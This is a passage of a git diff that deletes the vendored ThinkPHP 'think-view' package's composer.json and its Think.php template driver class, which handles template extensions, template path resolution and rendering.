b/vendor/topthink/think-view/composer.json deleted file mode 100644 index f4e6431..0000000 --- a/vendor/topthink/think-view/composer.json +++ /dev/null @@ -1,20 +0,0 @@ -{ - "name": "topthink/think-view", - "description": "thinkphp template driver", - "license": "Apache-2.0", - "authors": [ - { - "name": "liu21st", - "email": "liu21st@gmail.com" - } - ], - "require": { - "php": ">=7.1.0", - "topthink/think-template": "^2.0" - }, - "autoload": { - "psr-4": { - "think\\view\\driver\\": "src" - } - } -} diff --git a/vendor/topthink/think-view/src/Think.php b/vendor/topthink/think-view/src/Think.php deleted file mode 100644 index 562b54a..0000000 --- a/vendor/topthink/think-view/src/Think.php +++ /dev/null @@ -1,259 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\view\driver; - -use think\App; -use think\helper\Str; -use think\Template; -use think\template\exception\TemplateNotFoundException; - -class Think -{ - // 模板引擎实例 - private $template; - private $app; - - // 模板引擎参数 - protected $config = [ - // 默认模板渲染规则 1 解析为小写+下划线 2 全部转换小写 3 保持操作方法 - 'auto_rule' => 1, - // 视图目录名 - 'view_dir_name' => 'view', - // 模板起始路径 - 'view_path' => '', - // 模板文件后缀 - 'view_suffix' => 'html', - // 模板文件名分隔符 - 'view_depr' => DIRECTORY_SEPARATOR, - // 是否开启模板编译缓存,设为false则每次都会重新编译 - 'tpl_cache' => true, - ]; - - public function __construct(App $app, array $config = []) - { - $this->app = $app; - - $this->config = array_merge($this->config, (array) $config); - - if (empty($this->config['cache_path'])) { - $this->config['cache_path'] = $app->getRuntimePath() . 'temp' . DIRECTORY_SEPARATOR; - } - - $this->template = new Template($this->config); - $this->template->setCache($app->cache); - $this->template->extend('$Think', function (array $vars) { - $type = strtoupper(trim(array_shift($vars))); - $param = implode('.', $vars); - - switch ($type) { - case 'CONST': - $parseStr = strtoupper($param); - break; - case 'CONFIG': - $parseStr = 'config(\'' . $param . '\')'; - break; - case 'LANG': - $parseStr = 'lang(\'' . $param . '\')'; - break; - case 'NOW': - $parseStr = "date('Y-m-d g:i a',time())"; - break; - case 'LDELIM': - $parseStr = '\'' . ltrim($this->getConfig('tpl_begin'), '\\') . '\''; - break; - case 'RDELIM': - $parseStr = '\'' . ltrim($this->getConfig('tpl_end'), '\\') . '\''; - break; - default: - $parseStr = defined($type) ? $type : '\'\''; - } - - return $parseStr; - }); - - $this->template->extend('$Request', function (array $vars) { - // 获取Request请求对象参数 - $method = array_shift($vars); - if (!empty($vars)) { - $params = implode('.', $vars); - if ('true' != $params) { - $params = '\'' . $params . '\''; - } - } else { - $params = ''; - } - - return 'app(\'request\')->' . $method . '(' . $params . ')'; - }); - } - - /** - * 检测是否存在模板文件 - * @access public - * @param string $template 模板文件或者模板规则 - * @return bool - */ - public function exists(string $template): bool - { - if ('' == pathinfo($template, PATHINFO_EXTENSION)) { - // 获取模板文件名 - $template = $this->parseTemplate($template); - } - - return is_file($template); - } - - /** - * 渲染模板文件 - * @access public - * @param string $template 模板文件 - * @param array $data 模板变量 - * @return void - */ - public function fetch(string $template, array $data = []): void - { - if (empty($this->config['view_path'])) { - $view = $this->config['view_dir_name']; - - if (is_dir($this->app->getAppPath() . $view)) { - $path = $this->app->getAppPath() . $view . DIRECTORY_SEPARATOR; - } else { - $appName = $this->app->http->getName(); - $path = $this->app->getRootPath() . $view . DIRECTORY_SEPARATOR . ($appName ? $appName . DIRECTORY_SEPARATOR : ''); - } - - $this->config['view_path'] = $path; - $this->template->view_path = $path; - } - - if ('' == pathinfo($template, PATHINFO_EXTENSION)) { - // 获取模板文件名 - $template = $this->parseTemplate($template); - } - - // 模板不存在 抛出异常 - if (!is_file($template)) { - throw new TemplateNotFoundException('template not exists:' . $template, $template); - } - - $this->template->fetch($template, $data); - } - - /** - * 渲染模板内容 - * @access public - * @param string $template 模板内容 - * @param array $data 模板变量 - * @return void - */ - public function display(string $template, array $data = []): void - { - $this->template->display($template, $data); - } - - /** - * 自动定位模板文件 - * @access private - * @param string $template 模板文件规则 - * @return string - */ - private function parseTemplate(string $template): string - { - // 分析模板文件规则 - $request = $this->app['request']; - - // 获取视图根目录 - if (strpos($template, '@')) { - // 跨模块调用 - list($app, $template) = explode('@', $template); - } - - if (isset($app)) { - $view = $this->config['view_dir_name']; - $viewPath = $this->app->getBasePath() . $app . DIRECTORY_SEPARATOR . $view . DIRECTORY_SEPARATOR; - - if (is_dir($viewPath)) { - $path = $viewPath; - } else { - $path = $this->app->getRootPath() . $view . DIRECTORY_SEPARATOR . $app . DIRECTORY_SEPARATOR; - } - - $this->template->view_path = $path; - } else { - $path = $this->config['view_path']; - } - - $depr = $this->config['view_depr']; - - if (0 !== strpos($template, '/')) { - $template = str_replace(['/', ':'], $depr, $template); - $controller = $request->controller(); - - if (strpos($controller, '.')) { - $pos = strrpos($controller, '.'); - $controller = substr($controller, 0, $pos) . '.' . Str::snake(substr($controller, $pos + 1)); - } else { - $controller = Str::snake($controller); - } - - if ($controller) { - if ('' == $template) { - // 如果模板文件名为空 按照默认模板渲染规则定位 - if (2 == $this->config['auto_rule']) { - $template = $request->action(true); - } elseif (3 == $this->config['auto_rule']) { - $template = $request->action(); - } else { - $template = Str::snake($request->action()); - } - - $template = str_replace('.', DIRECTORY_SEPARATOR, $controller) . $depr . $template; - } elseif (false === strpos($template, $depr)) { - $template = str_replace('.', DIRECTORY_SEPARATOR, $controller) . $depr . $template; - } - } - } else { - $template = str_replace(['/', ':'], $depr, substr($template, 1)); - } - - return $path . ltrim($template, '/') . '.' . ltrim($this->config['view_suffix'], '.'); - } - - /** - * 配置模板引擎 - * @access private - * @param array $config 参数 - * @return void - */ - public function config(array $config): void - { - $this->template->config($config); - $this->config = array_merge($this->config, $config); - } - - /** - * 获取模板引擎配置 - * @access public - * @param string $name 参数名 - * @return void - */ - public function getConfig(string $name) - { - return $this->template->getConfig($name); - } - - public function __call($method, $params) - { - return call_user_func_array([$this->template, $method], $params); - } -}